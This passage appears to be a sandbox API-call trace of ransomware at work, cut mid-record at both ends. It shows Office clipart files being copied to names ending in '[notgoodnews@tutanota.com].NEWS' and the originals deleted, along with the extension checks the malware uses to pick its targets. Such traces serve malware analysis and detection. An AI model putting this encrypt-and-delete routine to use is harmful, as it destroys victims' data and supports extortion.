lpString2=".WMF") returned -1 [0090.658] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0090.658] lstrlenW (lpString="J0099147.JPG") returned 12 [0090.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.658] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=24377) returned 1 [0090.658] CloseHandle (hObject=0x378) returned 1 [0090.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 0x220 [0090.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.659] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.659] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0090.659] GetLastError () returned 0x0 [0090.659] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x5f39, lpOverlapped=0x0) returned 1 [0090.661] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x5f40, lpOverlapped=0x0) returned 1 [0090.662] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.662] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.662] SetEndOfFile (hFile=0x330) returned 1 [0090.662] CloseHandle (hObject=0x330) returned 1 [0090.663] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.663] SetEndOfFile (hFile=0x378) returned 1 [0090.664] CloseHandle (hObject=0x378) returned 1 [0090.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0090.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0090.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0090.664] lstrlenW (lpString=".doc") returned 4 [0090.664] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0090.664] lstrlenW (lpString=".docx") returned 5 [0090.664] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0090.664] lstrlenW (lpString=".pdf") returned 4 [0090.664] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0090.664] lstrlenW (lpString=".xls") returned 4 [0090.664] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0090.664] lstrlenW (lpString=".xlsx") returned 5 [0090.664] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0090.664] lstrlenW (lpString=".ppt") returned 4 [0090.664] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0090.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0090.664] lstrlenW (lpString=".zip") returned 4 [0090.664] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0090.664] lstrlenW (lpString=".rar") returned 4 [0090.664] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0090.664] lstrlenW (lpString=".bz2") returned 4 [0090.664] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0090.665] lstrlenW (lpString=".7z") returned 3 [0090.665] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0090.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0090.665] lstrlenW (lpString=".dbf") returned 4 [0090.665] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0090.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0090.665] lstrlenW (lpString=".1cd") returned 4 [0090.665] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0090.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0090.665] lstrlenW (lpString=".jpg") returned 4 [0090.665] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0090.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0090.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0090.665] lstrlenW (lpString=".doc") returned 4 [0090.665] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0090.665] lstrlenW (lpString=".docx") returned 5 [0090.665] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0090.665] lstrlenW (lpString=".pdf") returned 4 [0090.665] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0090.665] lstrlenW (lpString=".xls") returned 4 [0090.665] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0090.665] lstrlenW (lpString=".xlsx") returned 5 [0090.665] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0090.665] lstrlenW (lpString=".ppt") returned 4 [0090.665] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0090.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0090.665] lstrlenW (lpString=".zip") returned 4 [0090.665] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0090.665] lstrlenW (lpString=".rar") returned 4 [0090.665] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0090.665] lstrlenW (lpString=".bz2") returned 4 [0090.665] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0090.665] lstrlenW (lpString=".7z") returned 3 [0090.665] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0090.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0090.665] lstrlenW (lpString=".dbf") returned 4 [0090.666] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0090.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0090.666] lstrlenW (lpString=".1cd") returned 4 [0090.666] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0090.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0090.666] lstrlenW (lpString=".jpg") returned 4 [0090.666] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0090.666] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0090.666] lstrlenW (lpString="J0099148.JPG") returned 12 [0090.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.898] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=18258) returned 1 [0090.899] CloseHandle (hObject=0x378) returned 1 [0090.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 0x220 [0090.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.194] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.194] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0091.195] GetLastError () returned 0x0 [0091.195] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x4752, lpOverlapped=0x0) returned 1 [0091.197] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x4760, lpOverlapped=0x0) returned 1 [0091.198] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.198] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.198] SetEndOfFile (hFile=0x308) returned 1 [0091.199] CloseHandle (hObject=0x308) returned 1 [0091.199] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.199] SetEndOfFile (hFile=0x354) returned 1 [0091.200] CloseHandle (hObject=0x354) returned 1 [0091.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 1 [0091.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0091.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0091.200] lstrlenW (lpString=".doc") returned 4 [0091.200] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.200] lstrlenW (lpString=".docx") returned 5 [0091.200] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0091.200] lstrlenW (lpString=".pdf") returned 4 [0091.200] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.200] lstrlenW (lpString=".xls") returned 4 [0091.200] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.200] lstrlenW (lpString=".xlsx") returned 5 [0091.200] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0091.200] lstrlenW (lpString=".ppt") returned 4 [0091.200] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0091.200] lstrlenW (lpString=".zip") returned 4 [0091.201] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.201] lstrlenW (lpString=".rar") returned 4 [0091.201] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.201] lstrlenW (lpString=".bz2") returned 4 [0091.201] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.201] lstrlenW (lpString=".7z") returned 3 [0091.201] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0091.201] lstrlenW (lpString=".dbf") returned 4 [0091.201] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0091.201] lstrlenW (lpString=".1cd") returned 4 [0091.201] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0091.201] lstrlenW (lpString=".jpg") returned 4 [0091.201] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0091.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0091.201] lstrlenW (lpString=".doc") returned 4 [0091.201] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.201] lstrlenW (lpString=".docx") returned 5 [0091.201] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0091.201] lstrlenW (lpString=".pdf") returned 4 [0091.201] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.201] lstrlenW (lpString=".xls") returned 4 [0091.201] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.201] lstrlenW (lpString=".xlsx") returned 5 [0091.201] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0091.201] lstrlenW (lpString=".ppt") returned 4 [0091.201] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0091.201] lstrlenW (lpString=".zip") returned 4 [0091.201] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.201] lstrlenW (lpString=".rar") returned 4 [0091.201] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.201] lstrlenW (lpString=".bz2") returned 4 [0091.202] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.202] lstrlenW (lpString=".7z") returned 3 [0091.202] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0091.202] lstrlenW (lpString=".dbf") returned 4 [0091.202] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0091.202] lstrlenW (lpString=".1cd") returned 4 [0091.202] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0091.202] lstrlenW (lpString=".jpg") returned 4 [0091.202] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.202] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0091.202] lstrlenW (lpString="J0099157.JPG") returned 12 [0091.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.203] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=9671) returned 1 [0091.203] CloseHandle (hObject=0x354) returned 1 [0091.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220 [0091.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.203] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.203] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0091.204] GetLastError () returned 0x0 [0091.204] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x25c7, lpOverlapped=0x0) returned 1 [0091.205] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x25d0, lpOverlapped=0x0) returned 1 [0091.206] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.206] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.206] SetEndOfFile (hFile=0x308) returned 1 [0091.206] CloseHandle (hObject=0x308) returned 1 [0091.206] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.206] SetEndOfFile (hFile=0x354) returned 1 [0091.207] CloseHandle (hObject=0x354) returned 1 [0091.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0091.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0091.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0091.208] lstrlenW (lpString=".doc") returned 4 [0091.208] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.208] lstrlenW (lpString=".docx") returned 5 [0091.208] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0091.208] lstrlenW (lpString=".pdf") returned 4 [0091.208] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.208] lstrlenW (lpString=".xls") returned 4 [0091.208] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.208] lstrlenW (lpString=".xlsx") returned 5 [0091.208] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0091.208] lstrlenW (lpString=".ppt") returned 4 [0091.208] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0091.208] lstrlenW (lpString=".zip") returned 4 [0091.208] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.208] lstrlenW (lpString=".rar") returned 4 [0091.208] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.208] lstrlenW (lpString=".bz2") returned 4 [0091.208] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.208] lstrlenW (lpString=".7z") returned 3 [0091.208] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0091.208] lstrlenW (lpString=".dbf") returned 4 [0091.208] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0091.208] lstrlenW (lpString=".1cd") returned 4 [0091.208] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0091.208] lstrlenW (lpString=".jpg") returned 4 [0091.208] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0091.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0091.209] lstrlenW (lpString=".doc") returned 4 [0091.209] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.209] lstrlenW (lpString=".docx") returned 5 [0091.209] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0091.209] lstrlenW (lpString=".pdf") returned 4 [0091.209] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.209] lstrlenW (lpString=".xls") returned 4 [0091.209] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.209] lstrlenW (lpString=".xlsx") returned 5 [0091.209] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0091.209] lstrlenW (lpString=".ppt") returned 4 [0091.209] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0091.209] lstrlenW (lpString=".zip") returned 4 [0091.209] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.209] lstrlenW (lpString=".rar") returned 4 [0091.209] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.209] lstrlenW (lpString=".bz2") returned 4 [0091.209] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.209] lstrlenW (lpString=".7z") returned 3 [0091.209] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0091.209] lstrlenW (lpString=".dbf") returned 4 [0091.209] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0091.209] lstrlenW (lpString=".1cd") returned 4 [0091.209] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0091.209] lstrlenW (lpString=".jpg") returned 4 [0091.209] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.209] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.210] lstrlenW (lpString="J0099158.WMF") returned 12 [0091.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.210] GetFileSizeEx (in: 